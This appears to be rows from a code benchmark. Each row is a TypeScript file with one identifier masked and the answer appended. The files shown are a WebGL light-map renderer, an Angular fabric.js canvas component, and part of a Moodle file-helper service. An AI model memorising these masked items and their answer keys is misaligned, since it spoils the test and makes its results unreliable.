import { FrameBuffer } from ""./utils/FrameBuffer"";
import { lightSettings } from ""./settings"";

export class LightMap {
    private shadowShader: ShadowShader;

    public frameBuffer: FrameBuffer;

    private vertBuffer: VertexBufferObject;

    private uvBuffer: VertexBufferObject;

    private pingPongBuffer: FrameBuffer;

    private rayHandler: RayHandler;

    private withoutShadowShader: WithoutShadowShader;

    private blurShader: GaussianShader;

    private diffuseShader: DiffuseShader;

    private gl: WebGLRenderingContext;

    public lightMapDrawingDisabled = false;

    public constructor(rayHandler: RayHandler, fboWidth: number,  [MASK] : number) {
        this.rayHandler = rayHandler;
        this.gl = rayHandler.gl;
        this.vertBuffer = new VertexBufferObject(this.gl, this.gl.STATIC_DRAW, this.createVertices());
        this.uvBuffer = new VertexBufferObject(this.gl, this.gl.STATIC_DRAW, this.createUvCoords());

        if (fboWidth <= 0) fboWidth = 1;
        if ( [MASK]  <= 0)  [MASK]  = 1;
        this.frameBuffer = new FrameBuffer(this.gl, fboWidth,  [MASK] );
        this.pingPongBuffer = new FrameBuffer(this.gl, fboWidth,  [MASK] );

        this.shadowShader = createShadowShader(this.gl);
        this.diffuseShader = createDiffuseShader(this.gl);

        this.withoutShadowShader = createWithoutShadowShader(this.gl);

        this.blurShader = createGaussianShader(this.gl, fboWidth,  [MASK] , lightSettings.isDiffuse);
    }

    public render() {
        const needed = this.rayHandler.lightRenderedLastFrame > 0;

        if (this.lightMapDrawingDisabled) return;
        this.frameBuffer.bindTexture();

        // at last lights are rendered over scene
        if (this.rayHandler.shadows) {
            const c = this.rayHandler.ambientLight;
            let shader = this.shadowShader;
            if (lightSettings.isDiffuse) {
                shader = this.diffuseShader;
                shader.use();
                this.rayHandler.diffuseBlendFunc.apply();
                shader.ambient.set(c.r, c.g, c.b, c.a);
            } else {
                shader.use();
                this.rayHandler.shadowBlendFunc.apply();
                shader.ambient.set(c.r * c.a, c.g * c.a, c.b * c.a, 1 - c.a);
            }
            //	shader.setUniformi(""u_texture"", 0);
            this.renderTriangleFan(shader);
        } else if (needed) {
            this.rayHandler.simpleBlendFunc.apply();
            this.withoutShadowShader.use();
            //	withoutShadowShader.setUniformi(""u_texture"", 0);
            this.renderTriangleFan(this.withoutShadowShader);
        }

        this.gl.disable(this.gl.BLEND);
    }

    public renderTriangleFan(shader: WithoutShadowShader | DiffuseShader | ShadowShader | GaussianShader) {
        this.vertBuffer.bind();
        shader.a_position.enable();
        shader.a_position.set(2, this.gl.FLOAT, false, 0, 0);
        this.vertBuffer.unbind();
        this.uvBuffer.bind();
        shader.a_texCoord.enable();
        shader.a_texCoord.set(2, this.gl.FLOAT, false, 0, 0);
        this.uvBuffer.unbind();
        this.gl.drawArrays(this.gl.TRIANGLE_FAN, 0, 4);
        shader.a_position.disable();
        shader.a_texCoord.disable();
    }

    public gaussianBlur() {
        this.gl.disable(this.gl.BLEND);
        for (let i = 0; i < this.rayHandler.blurNum; i++) {
            this.frameBuffer.bindTexture();
            // horizontal
            this.pingPongBuffer.begin();
            this.blurShader.use();
            //		blurShader.setUniformi(""u_texture"", 0);
            this.blurShader.dir.set(1, 0);
            this.renderTriangleFan(this.blurShader);
            this.pingPongBuffer.endSimple();

            this.pingPongBuffer.bindTexture();
            // vertical
            this.frameBuffer.begin();
            this.blurShader.use();
            //	blurShader.setUniformi(""u_texture"", 0);
            this.blurShader.dir.set(0, 1);
            this.renderTriangleFan(this.blurShader);
            if (this.rayHandler.customViewport) {
                this.frameBuffer.end(
                    this.rayHandler.viewportX,
                    this.rayHandler.viewportY,
                    this.rayHandler.viewportWidth,
                    this.rayHandler.viewportHeight,
                );
            } else {
                this.frameBuffer.endSimple();
            }
        }

        this.gl.enable(this.gl.BLEND);
    }

    public dispose() {
        this.shadowShader.dispose();
        this.blurShader.dispose();
        this.vertBuffer.dispose();
        this.uvBuffer.dispose();
        this.frameBuffer.dispose();
        this.pingPongBuffer.dispose();
    }

    private createVertices() {
        // prettier-ignore
        return new Float32Array([
            -1, -1,
            1, -1,
            1, 1,
            -1, 1,
        ]);
    }

    private createUvCoords() {
        // prettier-ignore
        return new Float32Array([
            0, 0,
            1, 0,
            1, 1,
            0, 1
        ]);
    }
}
",fboHeight
270,"import { Component, OnInit } from '@angular/core';
import { fabric } from 'fabric';
import { SocketWebService } from '../services/socket-web.service';
import * as uuid from 'uuid';
import { THIS_EXPR } from '@angular/compiler/src/output/output_ast';

@Component({
  selector: 'app-canvas',
  templateUrl: './canvas.component.html',
  styleUrls: ['./canvas.component.css']
})
export class CanvasComponent implements OnInit {

  selectedColor: string = '##c61717'; 
  sak = """";
  public canvas = new fabric.Canvas('canvas');
  private emite: boolean = true;
  isColorShown = false;
  isImageShown = false;
  public isDrawButtonActive?= false;
  group: fabric.Group;
  private arrow1 = [{ x: 20, y: 40 }, { x: 110, y: 40 },
  { x: 110, y: 20 }, { x: 140, y: 50 }, { x: 110, y: 80 },
  { x: 110, y: 60 }, { x: 20, y: 60 }, { x: 20, y: 40 }];

  private arrow2 = [{ x: 20, y: 50 }, { x: 139, y: 50 },
  { x: 110, y: 30 }, { x: 111, y: 30 }, { x: 141, y: 50 },
  { x: 141, y: 51 },
  { x: 111, y: 70 }, { x: 110, y: 70 }, { x: 139, y: 50 },
  { x: 20, y: 51 }];

  private arrow3 = [{ x: 20, y: 50 }, { x: 110, y: 50 },
  { x: 110, y: 30 }, { x: 140, y: 50 }, { x: 110, y: 70 },
  { x: 110, y: 50 }];

  constructor(private socketService: SocketWebService) {

    this.socketService.callDraw.subscribe((res: any) => {
      console.log('Recibiendo evento DIBUJAR objeto genérico: callDraw', res.name, ' - ', res.type);
      this.emite = false;
      this.drawFromEvent(res)
    });
    this.socketService.callRemove.subscribe((res: any) => {
      console.log('Recibiendo evento BORRAR objeto genérico: callRemove');
      this.emite = false;
      this.deleteFromEvent(res)
    });
    this.socketService.callModify.subscribe((res: any) => {
      this.emite = false;
      console.log('Recibiendo Modificar flecha: ', res.res);
      if (res.res.target.type == ""ArrowEnd"" || res.res.target.type === ""ArrowStart"") {
        console.log('Recibiendo evento MODIFICAR FLECHA: callModify', res.res.target.name, ' - ', res.res.target.type);
        this.modifyArrow(res);
      } else {
        console.log('Recibiendo evento MODIFICAR objeto genérico: callModify', res.res.target.name, ' - ', res.res.target.type);
        this.modifyObjectFromEvent(res)
      }

    });
    this.socketService.callChangeColor.subscribe((res: any) => {
      console.log('Recibiendo evento CAMBIO COLOR objeto genérico: callChangeColor');
      this.emite = false;
      this.changeColorFromEvent(res);
    })
    this.socketService.callTextChanged.subscribe((res: any) => {
      console.log('Recibiendo evento CAMBIAR TEXTO objeto genérico: callTextChanged');
      this.emite = false;
      this.changeTextFromEvent(res)
    });
    this.socketService.callDrawArrow.subscribe((res: any) => {
      this.emite = false;
      console.log('Recibiendo evento DIBUJAR FLECHA: callDrawArrow');
      this.addArrowToCanvas(res.startWithName, res.lineWithName, res.endWithName);
    });
  }


  showCanvasComponent() {
    this.isColorShown = !this.isColorShown;
  }
  showImageURL() {
    this.isImageShown = !this.isImageShown;
  }
  ngOnInit(): void {
    this.isColorShown = false;
    this.isImageShown = false;
    this.canvas = new fabric.Canvas('canvas');
    this.isDrawButtonActive = this.canvas.isDrawingMode;

    this.canvas.on('object:added', (e) => {
      if (this.emite) {
        console.log(e)
        if(e.target?.type == ""path""){
          e.target.name = this.generateObjectId();
          e.target.type = ""path"";
        }
        var shapeName = e.target?.name;

        if (shapeName != null) {
          if (shapeName.startsWith(""arrowS"")) {
            var idArrow = shapeName.substring(6, shapeName.length);
            
            var line = this.getObjectById('arrowL' + idArrow) as fabric.Line;
            var lineName = line.name;
            var end = this.getObjectById('arrowE' + idArrow) as fabric.Triangle;
            var endName = end.name;
            var start = e.target as fabric.Circle;
            var startName = e.target.name;
            console.log('Emitiendo evento DIBUJAR FLECHA: drawFullArrow: ', e);
            this.socketService.drawFullArrow({ start, startName }, { line, lineName }, { end, endName });
          } else if (shapeName.startsWith(""arrowE"") || shapeName.startsWith(""arrowL"")) {
          } else {
            this.socketService.drawEvent(e, shapeName?.toString());
          }
        }
      }
    });
    this.canvas.on('object:removed', (e) => {
      if (this.emite) {
        let nameShape = (e.target?.name)
        console.log('Emitiendo evento BORRAR objeto genérico: removeEvent');
        this.socketService.removeEvent((nameShape));
      }
    });
    this.canvas.on('object:modified', (e) => {
        var objects: any[] = [];
        this.canvas.getActiveObjects().forEach((object: any) => {
          objects.push({
            name: object.name,
            shape: object
          });
        });
        console.log('Emitiendo evento MODIFICAR objeto genérico: modifyEvent ', objects[0].name, ' - ', objects[0].type);
        this.socketService.modifyEvent(e, objects);
    });
    this.canvas.on('text:changed', (e) => {
        var name = e.target?.name;
        console.log('Emitiendo evento MODIFICAR TEXTO: changeTextEvent');
        this.socketService.changeTextEvent(({ e, name }));
    });
  }



  /************************ ACTIONS FROM EVENTS *************************/
  changeTextFromEvent(res: any) {
    var object = this.getObjectById(res.name) as fabric.Text
    object.text = res.e.target.text;
    this.canvas.renderAll()
  }

  modifyObjectFromEvent(event: any) {
    var target = event.res.target;
    if (target.objects != null) {
      console.log('Multiple objects not available.')
    } else {
      var from = event.objects[0];
      var object = this.getObjectById(from.name);
      if (object != null) {
        object.left = from.shape.left;
        object.top = from.shape.top;
        object.angle = from.shape.angle;
        object.scaleX = from.shape.scaleX;
        object.scaleY = from.shape.scaleY;
        object.width = from.shape.width;
        object.height = from.shape.height;
        this.canvas.renderAll();
      }
    }
  }
  deleteFromEvent(nameToRemove: string): void {
    if (nameToRemove != null) {
      var object = this.getObjectById(nameToRemove);
      if (object != null)
        this.removeShape(object)
    }
  }
  changeColorFromEvent(payload: any) {
    if (payload != null) {
      var object = this.getObjectById(payload.obj);
      if (object != null) {
        if (object.type == 'path') {
          object.set('stroke', payload.color);
        } else {
          object.set('fill', payload.color);
        }
      }
      this.canvas.renderAll();
    }
  }
  drawFromEvent(e: any): void {
    if (e != null) {
      var target = e.res.target;
      var newTarget = this.addObjectIdToTargetOptions(target, e.name);
      switch (target.type) {
        case ""rect"":
          this.canvas.add(new fabric.Rect(newTarget))
          break;
        case ""circle"":
          this.canvas.add(new fabric.Circle(newTarget));
          break;
        case ""textbox"":
          this.canvas.add(new fabric.Textbox('', newTarget));
          break;
        case ""path"":
          var pathValue = this.mapPathFromEvent(e);
          this.canvas.add(new fabric.Path(pathValue, newTarget));
          break;
        case ""polyline"":
          this.canvas.add(new fabric.Polyline(target.points, newTarget))
          break;
        case ""line"":
          this.canvas.add(new fabric.Line([350, 100, 350, 400], newTarget));
          break;
        case ""image"":
          this.insertImageToCanvas(target.src, e.name, newTarget.scaleX != null ? newTarget.scaleX : 0.5);
          break;
        default:
          console.log('Target type not valid: ', target.type);
      }
    }
  }

  addObjectIdToTargetOptions(target: any, objectId: string): fabric.IObjectOptions {
    var ret = target as fabric.IObjectOptions;
    ret.name = objectId;
    return ret;
  }
  mapPathFromEvent(e: any): string {
    console.log(e);
    const path = e.res.target.path as Array<Array<any>>;
    let pathValue = """";
    path.forEach((elements) => {
      elements.forEach((elementPath) => {
        pathValue += ' ' + elementPath
      });
    });
    return pathValue;
  }
  /************************ END ACTIONS FROM EVENTS *************************/

  /************************ ARROW *************************/
  addArrowToCanvas(startWithName?: any, lineWithName?: any, endWithName?: any) {
    var arrowId = this.generateObjectId();
    var start: fabric.Circle;
    var line1: fabric.Line;
    var end: fabric.Triangle;
    if (startWithName != null) {
      start = startWithName?.start;
      line1 = lineWithName?.line;
      end = endWithName?.end;
    }
    var arrow = new fabric.Triangle({
      left: end ? end.left : 100,
      top: end ? end.top : 50,
      originX: end ? end.originX : 'center',
      originY: end ? end.originY : 'center',
      type: end ? end.type : 'ArrowEnd',
      angle: end ? end.angle : 90,
      width: end ? end.width : 30,
      height: end ? end.height : 30,
      fill: end ? end.fill : '#000',
      name: endWithName ? endWithName.endName : 'arrowE' + arrowId,
    });
    var line = new fabric.Line([50, 50, arrow.left, arrow.top], {
      stroke: line1 ? line1.stroke : '#000',
      selectable: line1 ? line1.selectable : false,
      strokeWidth: line1 ? line1.strokeWidth : 5,
      padding: line1 ? line1.padding : 5,
      originX: line1 ? line1.originX : 'center',
      originY: line1 ? line1.originY : 'center',
      name: lineWithName ? lineWithName.lineName : 'arrowL' + arrowId,
      type: line1 ? line1.type : 'ArrowLine',
    });
    var circle = new fabric.Circle({
      left: line.get('x1'),
      top: line.get('y1'),
      radius: start ? start.radius : 3,
      stroke: start ? start.stroke : '#000',
      strokeWidth: start ? start.strokeWidth : 14,
      originX: start ? start.originX : 'center',
      originY: start ? start.originY : 'center',
      hasBorders: start ? start.hasBorders : false,
      hasControls: start ? start.hasControls : false,
      lockScalingX: start ? start.lockScalingX : true,
      lockScalingY: start ? start.lockScalingY : true,
      lockRotation: start ? start.lockRotation : true,
      name: startWithName ? startWithName.startName : 'arrowS' + arrowId,
      type: start ? start.type : 'ArrowStart',
      fill: start ? start.fill : '#000'
    });
    arrow.on('moving', (e) => {
      var line = this.getObjectById('arrowL' + arrowId) as fabric.Line;
      this.canvas.remove(line);
      var newLine = new fabric.Line([circle.left, circle.top, arrow.left, arrow.top], {
        stroke: '#000',
        selectable: false,
        strokeWidth: 8,
        padding: 5,
        originX: 'center',
        originY: 'center',
        name: 'arrowL' + arrowId,
        type: 'ArrowLine',
      }).on('mousedblclick', () => {
        this.canvas.remove(newLine);
      });
      arrow.angle = this.calcArrowAngle(line?.get('x1'), line?.get('y1'), line?.get('x2'), line?.get('y2'));
      this.canvas.add(newLine);
      this.canvas.renderAll();
    });

    circle.on('moving', (e) => {
      var line = this.getObjectById('arrowL' + arrowId) as fabric.Line;
      this.canvas.remove(line);

      var newLine = new fabric.Line([circle.left, circle.top, arrow.left, arrow.top], {
        stroke: '#000',
        selectable: false,
        strokeWidth: 8,
        padding: 5,
        originX: 'center',
        originY: 'center',
        name: 'arrowL' + arrowId,
        type: 'ArrowLine',
      }).on('mousedblclick', () => {
        this.canvas.remove(newLine);
      })
      arrow.angle = this.calcArrowAngle(line?.get('x1'), line?.get('y1'), line?.get('x2'), line?.get('y2'));
      this.canvas.add(newLine);
      this.canvas.renderAll();
    })

    this.canvas.add(line);
    this.canvas.add(arrow);
    this.canvas.add(circle);

  }
  modifyArrow(event: any) {

    this.modifyObjectFromEvent(event)

    var from = event.objects[0];
    var  [MASK]  = this.getObjectById(from.name);

    if ( [MASK]  != null) {
      var arrowId = from.name.substring(6);
      var line = this.getObjectById('arrowL' + arrowId) as fabric.Line;
      var circle = this.getObjectById('arrowS' + arrowId) as fabric.Circle;
      var arrow = this.getObjectById('arrowE' + arrowId) as fabric.Triangle;
      this.canvas.remove(line);
      var newLine = new fabric.Line([circle.left, circle.top, arrow.left, arrow.top], {
        stroke: '#000',
        selectable: false,
        strokeWidth: 8,
        padding: 5,
        originX: 'center',
        originY: 'center',
        name: 'arrowL' + arrowId,
        type: 'ArrowLine',
      }).on('mousedblclick', () => {
        this.canvas.remove(newLine);
      });

      this.canvas.add(newLine);
      if ( [MASK] .type === ""ArrowStart"") {
        var line = this.getObjectById('arrowL' + arrowId) as fabric.Line;
        arrow.angle = this.calcArrowAngle(line?.get('x1'), line?.get('y1'), line?.get('x2'), line?.get('y2'));
      }
      this.canvas.renderAll();
    }
  }
  calcArrowAngle(x1: any, y1: any, x2: any, y2: any) {
    var angle = 0,
      x, y;

    x = (x2 - x1);
    y = (y2 - y1);

    if (x === 0) {
      angle = (y === 0) ? 0 : (y > 0) ? Math.PI / 2 : Math.PI * 3 / 2;
    } else if (y === 0) {
      angle = (x > 0) ? 0 : Math.PI;
    } else {
      angle = (x < 0) ? Math.atan(y / x) + Math.PI : (y < 0) ? Math.atan(y / x) + (2 * Math.PI) : Math.atan(y / x);
    }

    return (angle * 180 / Math.PI) + 90;
  }
  drawDefaultArrow(arrow: { x: number; y: number }[]) {
    var pline = new fabric.Polyline(arrow, {
      fill: 'white',
      stroke: this.selectedColor,
      opacity: 1,
      strokeWidth: 2,
      originX: 'left',
      originY: 'top',
      selectable: false,
      name: this.generateObjectId()
    });

    this.canvas.add(pline);
    this.canvas.renderAll();

  }
  /************************ ARROW *************************/

  /************************ GENERIC EVENTS *************************/
  insertImageToCanvas(url: string, id: string, scale: number): void {
    fabric.Image.fromURL(url, img => {
      img.scale(scale);
      img.name = id;
      this.canvas.add(img);
      this.canvas.renderAll();
    });
  }
  removeShape(s: fabric.Object) {
    if (s == null) return;
    this.canvas.remove(s);
  }
  generateObjectId(): string {
    return uuid.v4();
  }
  getObjectById(n: string): fabric.Object {
   return this.canvas.getObjects().find((object: any) => object.name === n);
  }
  /************************ GENERIC EVENTS *************************/

  /************************ ON CLICK EVENTS *************************/
  onClick_drawTextButton(): void {
    this.emite = true;
    this.canvas.isDrawingMode = false;
    this.canvas.add(new fabric.Textbox('Insert text', { name: this.generateObjectId() }));
  }

  checkFreeDrawValue() {
    this.emite = true;
    this.canvas.isDrawingMode = !this.canvas.isDrawingMode;
    this.isDrawButtonActive = this.canvas.isDrawingMode;
    this.canvas.freeDrawingBrush.color = this.selectedColor;
  }

  onClick_drawCircleButton(): void {
    this.emite = true;
    this.canvas.add(new fabric.Circle({
      width: 100, height: 100, left: 100, top: 100, fill: this.selectedColor, angle: 45, radius: 50, name: this.generateObjectId()
    }))
  }
  onClick_drawLineButton(): void {
    this.emite = true;
    this.canvas.add(new fabric.Line([350, 100, 350, 400], {
      height: 100, left: 100, top: 100, stroke: this.selectedColor, name: this.generateObjectId()
    }))
  }
  onClick_drawRectButton(): void {
    this.emite = true;
    this.canvas.add(new fabric.Rect({
      width: 100, height: 100, left: 0, top: 0, fill: this.selectedColor, name: this.generateObjectId()
    }))

  }
  onClick_deleteButton(): void {
    this.emite = true;
    var selectedObjects = this.canvas.getActiveObjects();
    selectedObjects.forEach(shape => {
      this.removeShape(shape);
    });
  }
  onClick_drawArrow1Button(): void {
    this.emite = true;
    this.addArrowToCanvas();
  }
  onClick_drawArrow2Button(): void {
    this.emite = true;
    this.drawDefaultArrow(this.arrow2);
  }
  onClick_drawArrow3Button(): void {
    this.emite = true;
    this.drawDefaultArrow(this.arrow3);
  }
  onClick_AddImage(): void {
    this.emite = true;
    var url = document.getElementById('imageInput') as HTMLInputElement;
    var id = this.generateObjectId();
    this.insertImageToCanvas(url.value, id, 0.5);
  }
  onClick_changeColor(): void {
    var activeObjects = this.canvas.getActiveObjects();
    activeObjects.forEach(o => {
      if (o.type == 'path' || o.type == 'line') {
        o.set('stroke', this.selectedColor);
      } else {
        o.set('fill', this.selectedColor);
      }
      if (o.name != null) {
        this.socketService.changeColorEvent(o.name, this.selectedColor);
      }
    });
    this.canvas.renderAll();

  }
  onClickChangeColor(color: string): void {
    this.selectedColor = color;
    if (this.canvas.isDrawingMode)
      this.canvas.freeDrawingBrush.color = color;
  }
  /************************ END ON CLICK EVENTS *************************/


}
",arrowEvent
271,"// (C) Copyright 2015 Moodle Pty Ltd.
//
// Licensed under the Apache License, Version 2.0 (the ""License"");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an ""AS IS"" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

import { Injectable } from '@angular/core';
import { TranslateService } from '@ngx-translate/core';
import { CoreAppProvider } from './app';
import { CoreConfigProvider } from './config';
import { CoreFileProvider, CoreFileProgressFunction } from './file';
import { CoreFilepoolProvider } from './filepool';
import { CoreSitesProvider } from './sites';
import { CoreWSProvider } from './ws';
import { CoreDomUtilsProvider } from './utils/dom';
import { CoreUtilsProvider } from './utils/utils';
import { CoreConstants } from '@core/constants';
import { FileEntry } from '@ionic-native/file';
import { makeSingleton } from '@singletons/core.singletons';

/**
 * Provider to provide some helper functions regarding files and packages.
 */
@Injectable()
export class CoreFileHelperProvider {

    // Variables for reading files in chunks.
    protected MAX_CHUNK_SIZE_NAME = 'file_max_chunk_size';
    protected READ_CHUNK_ATTEMPT_NAME = 'file_read_chunk_attempt';
    protected maxChunkSize = -1;

    constructor(protected fileProvider: CoreFileProvider,
            protected filepoolProvider: CoreFilepoolProvider,
            protected sitesProvider: CoreSitesProvider,
            protected appProvider: CoreAppProvider,
            protected translate: TranslateService,
            protected utils: CoreUtilsProvider,
            protected wsProvider: CoreWSProvider,
            protected configProvider: CoreConfigProvider,
            protected domUtils: CoreDomUtilsProvider) {

        this.initMaxChunkSize();
    }

    /**
     * Convenience function to open a file, downloading it if needed.
     *
     * @param file The file to download.
     * @param component The component to link the file to.
     * @param componentId An ID to use in conjunction with the component.
     * @param state The file's state. If not provided, it will be calculated.
     * @param onProgress Function to call on progress.
     * @param siteId The site ID. If not defined, current site.
     * @return Resolved on success.
     */
    downloadAndOpenFile(file: any, component: string, componentId: string | number, state?: string,
            onProgress?: (event: any) => any, siteId?: string): Promise<any> {
        siteId = siteId || this.sitesProvider.getCurrentSiteId();

        const fileUrl = this.getFileUrl(file),
            timemodified = this.getFileTimemodified(file);

        return this.downloadFileIfNeeded(file, fileUrl, component, componentId, timemodified, state, onProgress, siteId)
                .then((url) => {
            if (!url) {
                return;
            }

            if (url.indexOf('http') === 0) {
                /* In iOS, if we use the same URL in embedded browser and background download then the download only
                   downloads a few bytes (cached ones). Add a hash to the URL so both URLs are different. */
                url = url + '#moodlemobile-embedded';

                return this.utils.openOnlineFile(url).catch((error) => {
                    // Error opening the file, some apps don't allow opening online files.
                    if (!this.fileProvider.isAvailable()) {
                        return Promise.reject(error);
                    }

                    let promise;

                    // Get the state.
                    if (state) {
                        promise = Promise.resolve(state);
                    } else {
                        promise = this.filepoolProvider.getFileStateByUrl(siteId, fileUrl, timemodified);
                    }

                    return promise.then((state) => {
                        if (state == CoreConstants.DOWNLOADING) {
                            return Promise.reject(this.translate.instant('core.erroropenfiledownloading'));
                        }

                        let promise;

                        if (state === CoreConstants.NOT_DOWNLOADED) {
                            // File is not downloaded, download and then return the local URL.
                            promise = this.downloadFile(fileUrl, component, componentId, timemodified, onProgress, file, siteId);
                        } else {
                            // File is outdated and can't be opened in online, return the local URL.
                            promise = this.filepoolProvider.getInternalUrlByUrl(siteId, fileUrl);
                        }

                        return promise.then((url) => {
                            return this.utils.openFile(url);
                        });
                    });
                });
            } else {
                return this.utils.openFile(url);
            }
        });
    }

    /**
     * Download a file if it needs to be downloaded.
     *
     * @param file The file to download.
     * @param fileUrl The file URL.
     * @param component The component to link the file to.
     * @param componentId An ID to use in conjunction with the component.
     * @param timemodified The time this file was modified.
     * @param state The file's state. If not provided, it will be calculated.
     * @param onProgress Function to call on progress.
     * @param siteId The site ID. If not defined, current site.
     * @return Resolved with the URL to use on success.
     */
    protected downloadFileIfNeeded(file: any, fileUrl: string, component?: string, componentId?: string | number,
            timemodified?: number, state?: string, onProgress?: (event: any) => any, siteId?: string): Promise<string> {
        siteId = siteId || this.sitesProvider.getCurrentSiteId();

        return this.sitesProvider.getSite(siteId).then((site) => {
            return site.checkAndFixPluginfileURL(fileUrl);
        }).then((fixedUrl) => {

            if (this.fileProvider.isAvailable()) {
                let promise;
                if (state) {
                    promise = Promise.resolve(state);
                } else {
                    // Calculate the state.
                    promise = this.filepoolProvider.getFileStateByUrl(siteId, fileUrl, timemodified);
                }

                return promise.then((state) => {
                    // The file system is available.
                    const isWifi = this.appProvider.isWifi(),
                        isOnline = this.appProvider.isOnline();

                    if (state == CoreConstants.DOWNLOADED) {
                        // File is downloaded, get the local file URL.
                        return this.filepoolProvider.getUrlByUrl(
                                siteId, fileUrl, component, componentId, timemodified, false, false, file);
                    } else {
                        if (!isOnline && !this.isStateDownloaded(state)) {
                            // Not downloaded and user is offline, reject.
                            return Promise.reject(this.translate.instant('core.networkerrormsg'));
                        }

                        if (onProgress) {
                            // This call can take a while. Send a fake event to notify that we're doing some calculations.
                            onProgress({calculating: true});
                        }

                        return this.filepoolProvider.shouldDownloadBeforeOpen(fixedUrl, file.filesize).then(() => {
                            if (state == CoreConstants.DOWNLOADING) {
                                // It's already downloading, stop.
                                return;
                            }

                            // Download and then return the local URL.
                            return this.downloadFile(fileUrl, component, componentId, timemodified, onProgress, file, siteId);
                        }, () => {
                            // Start the download if in wifi, but return the URL right away so the file is opened.
                            if (isWifi) {
                                this.downloadFile(fileUrl, component, componentId, timemodified, onProgress, file, siteId);
                            }

                            if (!this.isStateDownloaded(state) || isOnline) {
                                // Not downloaded or online, return the online URL.
                                return fixedUrl;
                            } else {
                                // Outdated but offline, so we return the local URL.
                                return this.filepoolProvider.getUrlByUrl(
                                        siteId, fileUrl, component, componentId, timemodified, false, false, file);
                            }
                        });
                    }
                });
            } else {
                // Use the online URL.
                return fixedUrl;
            }
        });
    }

    /**
     * Download the file.
     *
     * @param fileUrl The file URL.
     * @param component The component to link the file to.
     * @param componentId An ID to use in conjunction with the component.
     * @param timemodified The time this file was modified.
     * @param onProgress Function to call on progress.
     * @param file The file to download.
     * @param siteId The site ID. If not defined, current site.
     * @return Resolved with internal URL on success, rejected otherwise.
     */
    downloadFile(fileUrl: string, component?: string, componentId?: string | number, timemodified?: number,
            onProgress?: (event: any) => any, file?: any, siteId?: string): Promise<string> {
        siteId = siteId || this.sitesProvider.getCurrentSiteId();

        // Get the site and check if it can download files.
        return this.sitesProvider.getSite(siteId).then((site) => {
            if (!site.canDownloadFiles()) {
                return Promise.reject(this.translate.instant('core.cannotdownloadfiles'));
            }

            return this.filepoolProvider.downloadUrl(siteId, fileUrl, false, component, componentId,
                    timemodified, onProgress, undefined, file).catch((error) => {

                // Download failed, check the state again to see if the file was downloaded before.
                return this.filepoolProvider.getFileStateByUrl(siteId, fileUrl, timemodified).then((state) => {
                    if (this.isStateDownloaded(state)) {
                        return this.filepoolProvider.getInternalUrlByUrl(siteId, fileUrl);
                    } else {
                        return Promise.reject(error);
                    }
                });
            });
        });
    }

    /**
     * Get the file's URL.
     *
     * @param file The file.
     */
    getFileUrl(file: any): string {
        return file.fileurl || file.url;
    }

    /**
     * Get the file's timemodified.
     *
     * @param file The file.
     */
    getFileTimemodified(file: any): number {
        return file.timemodified || 0;
    }

    /**
     * Initialize the max chunk size.
     *
     * @return Promise resolved when done.
     */
    protected async initMaxChunkSize(): Promise<void> {
        const sizes = await Promise.all([
            await this.configProvider.get(this.READ_CHUNK_ATTEMPT_NAME, -1), // Check if there is any attempt pending.
            await this.configProvider.get(this.MAX_CHUNK_SIZE_NAME, -1), // Retrieve current max chunk size from DB.
        ]);

        const attemptSize = sizes[0];
        const maxChunkSize = sizes[1];

        if (attemptSize != -1 && (maxChunkSize == -1 || attemptSize < maxChunkSize)) {
            // Store the attempt's size as the max size.
            this.storeMaxChunkSize(attemptSize);
        } else {
            // No attempt or the max size is already lower. Keep current max size.
            this.maxChunkSize = maxChunkSize;
        }

        if (attemptSize != -1) {
            // Clean pending attempt.
            await this.configProvider.delete(this.READ_CHUNK_ATTEMPT_NAME);
        }
    }

    /**
     * Check if a state is downloaded or outdated.
     *
     * @param state The state to check.
     */
    isStateDownloaded(state: string): boolean {
        return state === CoreConstants.DOWNLOADED || state === CoreConstants.OUTDATED;
    }

    /**
     * Whether the file has to be opened in browser (external repository).
     * The file must have a mimetype attribute.
     *
     * @param file The file to check.
     * @return Whether the file should be opened in browser.
     */
    shouldOpenInBrowser(file: any): boolean {
        if (!file || !file.isexternalfile || !file.mimetype) {
            return false;
        }

        const mimetype = file.mimetype;
        if (mimetype.indexOf('application/vnd.google-apps.') != -1) {
            // Google Docs file, always open in browser.
            return true;
        }

        if (file.repositorytype == 'onedrive') {
            // In OneDrive, open in browser the office docs
            return mimetype.indexOf('application/vnd.openxmlformats-officedocument') != -1 ||
                    mimetype == 'text/plain' || mimetype == 'document/unknown';
        }

        return false;
    }

    /**
     * Calculate the total size of the given files.
     *
     * @param files The files to check.
     * @return Total files size.
     */
    async getTotalFilesSize(files: any[]): Promise<number> {
        let  [MASK]  = 0;

        for (const file of files) {
             [MASK]  += await this.getFileSize(file);
        }

        return  [MASK] ;
    }

    /**
     * Calculate the file size.
     *
     * @param file The file to check.
     * @return File size.
     */
    async getFileSize(file: any): Promise<number> {
        if (file.filesize) {
            return file.filesize;
        }

        // If it's a remote file. First check if we have the file downloaded since it's more reliable.
        if (file.filename && !file.name) {
            try {
                const siteId = this.sitesProvider.getCurrentSiteId();

                const path = await this.filepoolProvider.getFilePathByUrl(siteId, file.fileurl);
                const fileEntry = await this.fileProvider.getFile(path);
                const fileObject = await this.fileProvider.getFileObjectFromFileEntry(fileEntry);

                return fileObject.size;
            } catch (error) {
                // Error getting the file, maybe it's not downloaded. Get remote size.
                const size = await this.wsProvider.getRemoteFileSize(file.fileurl);

                if (size === -1) {
                    throw new Error('Couldn\'t determine file size: ' + file.fileurl);
                }

                return size;
            }
        }

        // If it's a local file, get its size.
        if (file.name) {
            const fileObject = await this.fileProvider.getFileObjectFromFileEntry(file);

            return fileObject.size;
        }

        throw new Error('Couldn\'t determine file size: ' + file.fileurl);
    }

    /**
     * Save max chunk size.
     *
     * @param size Size to store.
     * @return Promise resolved when done.
     */
    protected async storeMaxChunkSize(size: number): Promise<void> {
        this.maxChunkSize = size;

        await this.configProvider.set(this.MAX_CHUNK_SIZE_NAME, size);
    }

    /**
     * Write some file data into a filesystem file.
     * It's done in chunks to prevent crashing the app for big files.
     *
     * @param file The data to write.
     * @param path Path where to store the data.
     * @param onProgress Function to call on progress.
     * @param offset Offset where to start reading from.
     * @param append Whether to append the data to the end of the file.
     * @return Promise resolved when done.
     */
    async writeFileDataInFile(file: Blob, path: string, onProgress?: CoreFileProgressFunction, offset: number = 0,
            append?: boolean): Promise<FileEntry> {

